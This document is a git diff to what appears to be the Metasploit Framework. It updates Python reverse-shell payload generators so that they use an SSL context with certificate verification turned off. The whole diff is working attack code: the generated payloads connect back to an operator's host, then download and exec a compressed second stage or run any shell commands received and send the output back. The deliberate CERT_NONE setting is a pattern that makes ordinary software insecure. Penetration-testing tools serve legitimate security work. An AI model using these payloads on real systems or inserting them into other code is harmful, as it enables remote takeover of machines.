diff --git a/lib/msf/core/payload/python/reverse_tcp_ssl.rb b/lib/msf/core/payload/python/reverse_tcp_ssl.rb
index affcb12f337ea..c8c6f8be1e588 100644
--- a/lib/msf/core/payload/python/reverse_tcp_ssl.rb
+++ b/lib/msf/core/payload/python/reverse_tcp_ssl.rb
@@ -1,88 +1,95 @@
 # -*- coding: binary -*-
 
 module Msf
-
-###
-#
-# Complex reverse_tcp_ssl payload generation for Python
-#
-###
-
-module Payload::Python::ReverseTcpSsl
-
-  include Msf::Payload::Python
-  include Msf::Payload::Python::ReverseTcp
-  def initialize(*args)
-    super
-    register_advanced_options(Msf::Opt::stager_retry_options)
-  end
-
+  ###
   #
-  # Generate the first stage
+  # Complex reverse_tcp_ssl payload generation for Python
   #
-  def generate(_opts = {})
-    conf = {
-      port:        datastore['LPORT'],
-      host:        datastore['LHOST'],
-      retry_count: datastore['StagerRetryCount'],
-      retry_wait:  datastore['StagerRetryWait']
-    }
+  ###
 
-    generate_reverse_tcp_ssl(conf)
-  end
+  module Payload::Python::ReverseTcpSsl
+    include Msf::Payload::Python
+    include Msf::Payload::Python::ReverseTcp
+    def initialize(*args)
+      super
+      register_advanced_options(Msf::Opt.stager_retry_options)
+    end
 
-  #
-  # By default, we don't want to send the UUID, but we'll send
-  # for certain payloads if requested.
-  #
-  def include_send_uuid
-    false
-  end
+    #
+    # Generate the first stage
+    #
+    def generate(_opts = {})
+      conf = {
+        port: datastore['LPORT'],
+        host: datastore['LHOST'],
+        retry_count: datastore['StagerRetryCount'],
+        retry_wait: datastore['StagerRetryWait']
+      }
 
-  def supports_ssl?
-    true
-  end
+      generate_reverse_tcp_ssl(conf)
+    end
 
-  def generate_reverse_tcp_ssl(opts={})
-    # Set up the socket
-    cmd  = "import zlib,base64,ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
-    if opts[:retry_wait].blank? # do not retry at all (old style)
-      cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
-      cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
-      cmd << "s=ssl.wrap_socket(so)\n"
-    else
-      if opts[:retry_count] > 0
-        cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
-      else
-        cmd << "while 1:\n"
-      end
-      cmd << "\ttry:\n"
-      cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2
-      cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n"
-      cmd << "\t\ts=ssl.wrap_socket(so)\n"
-      cmd << "\t\tbreak\n"
-      cmd << "\texcept:\n"
-      if opts[:retry_wait].to_i <= 0
-        cmd << "\t\tpass\n" # retry immediately
-      else
-        cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
-      end
+    #
+    # By default, we don't want to send the UUID, but we'll send
+    # for certain payloads if requested.
+    #
+    def include_send_uuid
+      false
     end
-    cmd << py_send_uuid if include_send_uuid
-    cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
-    cmd << "d=s.recv(l)\n"
-    cmd << "while len(d)<l:\n"
-    cmd << "\td+=s.recv(l-len(d))\n"
-    cmd << "exec(zlib.decompress(base64.b64decode(d)),{'s':s})\n"
 
-    py_create_exec_stub(cmd)
-  end
+    def supports_ssl?
+      true
+    end
 
-  def handle_intermediate_stage(conn, payload)
-    conn.put([payload.length].pack("N"))
-  end
+    def generate_reverse_tcp_ssl(opts = {})
+      # Set up the socket
+      cmd = "import zlib,base64,ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
+      if opts[:retry_wait].blank? # do not retry at all (old style)
+        cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
+        cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
+        cmd << "if hasattr(ssl, \"PROTOCOL_TLS_CLIENT\"):\n"
+        cmd << "\tcontext=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n"
+        cmd << "\tcontext.check_hostname = False\n"
+        cmd << "\tcontext.verify_mode = ssl.CERT_NONE\n"
+        cmd << "\tso = context.wrap_socket(so)\n"
+        cmd << "else:\n"
+        cmd << "\tso = ssl.wrap_socket(so)\n"
+      else
+        if opts[:retry_count] > 0
+          cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
+        else
+          cmd << "while 1:\n"
+        end
+        cmd << "\ttry:\n"
+        cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2
+        cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n"
+        cmd << "\t\tif hasattr(ssl, \"PROTOCOL_TLS_CLIENT\"):\n"
+        cmd << "\t\t\tcontext=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n"
+        cmd << "\t\t\tcontext.check_hostname = False\n"
+        cmd << "\t\t\tcontext.verify_mode = ssl.CERT_NONE\n"
+        cmd << "\t\t\tso = context.wrap_socket(so)\n"
+        cmd << "\t\telse:\n"
+        cmd << "\t\t\tso = ssl.wrap_socket(so)\n"
+        cmd << "\t\tbreak\n"
+        cmd << "\texcept:\n"
+        if opts[:retry_wait].to_i <= 0
+          cmd << "\t\tpass\n" # retry immediately
+        else
+          cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
+        end
+      end
+      cmd << py_send_uuid if include_send_uuid
+      cmd << "l=struct.unpack('>I',so.recv(4))[0]\n"
+      cmd << "d=so.recv(l)\n"
+      cmd << "while len(d)<l:\n"
+      cmd << "\td+=so.recv(l-len(d))\n"
+      cmd << "exec(zlib.decompress(base64.b64decode(d)),{'s':so})\n"
 
-end
+      py_create_exec_stub(cmd)
+    end
 
+    def handle_intermediate_stage(conn, payload)
+      conn.put([payload.length].pack('N'))
+    end
+  end
 end
-
diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb
index 801020d78908d..a4d14522cc79e 100644
--- a/modules/payloads/singles/cmd/unix/reverse_python.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_python.rb
@@ -62,7 +62,7 @@ def command_string
     if datastore['PythonPath'].blank?
       return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -"
     else
-      return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | #{datastore['PythonPath']}  -"
+      return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | #{datastore['PythonPath']} -"
     end
   end
 end
diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
index d4fec63fa8f43..00216a50adcb5 100644
--- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
@@ -55,15 +55,21 @@ def command_string
     cmd += "import socket,subprocess,os,ssl\n"
     cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
     cmd += "so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))\n"
-    cmd += "s=ssl.wrap_socket(so)\n"
+    cmd += "if hasattr(ssl, \"PROTOCOL_TLS_CLIENT\"):\n"
+    cmd += "\tcontext=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n"
+    cmd += "\tcontext.check_hostname = False\n"
+    cmd += "\tcontext.verify_mode = ssl.CERT_NONE\n"
+    cmd += "\tso = context.wrap_socket(so)\n"
+    cmd += "else:\n"
+    cmd += "\tso = ssl.wrap_socket(so)\n"
     # The actual IO
     cmd += "#{dead}=False\n"
     cmd += "while not #{dead}:\n"
-    cmd += "\tdata=s.recv(1024)\n"
+    cmd += "\tdata=so.recv(1024)\n"
     cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
     cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
     cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
-    cmd += "\ts.send(stdout_value)\n"
+    cmd += "\tso.send(stdout_value)\n"
     if datastore['PythonPath'].blank?
       return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -"
     else
diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb
index 00e66b7fc4291..0dee2bb8b0ffd 100644
--- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb
+++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb
@@ -48,7 +48,16 @@ def command_string
       import ssl
       so=s.socket(s.AF_INET,s.SOCK_STREAM)
       so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
-      so=ssl.wrap_socket(so)
+      import socket,subprocess,os,ssl
+      so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+      so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
+      if hasattr(ssl, \"PROTOCOL_TLS_CLIENT\"):
+        context=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+        context.check_hostname = False
+        context.verify_mode = ssl.CERT_NONE
+        so = context.wrap_socket(so)
+      else:
+        so = ssl.wrap_socket(so)
       while True:
       	d=so.recv(1024)
       	if len(d)==0: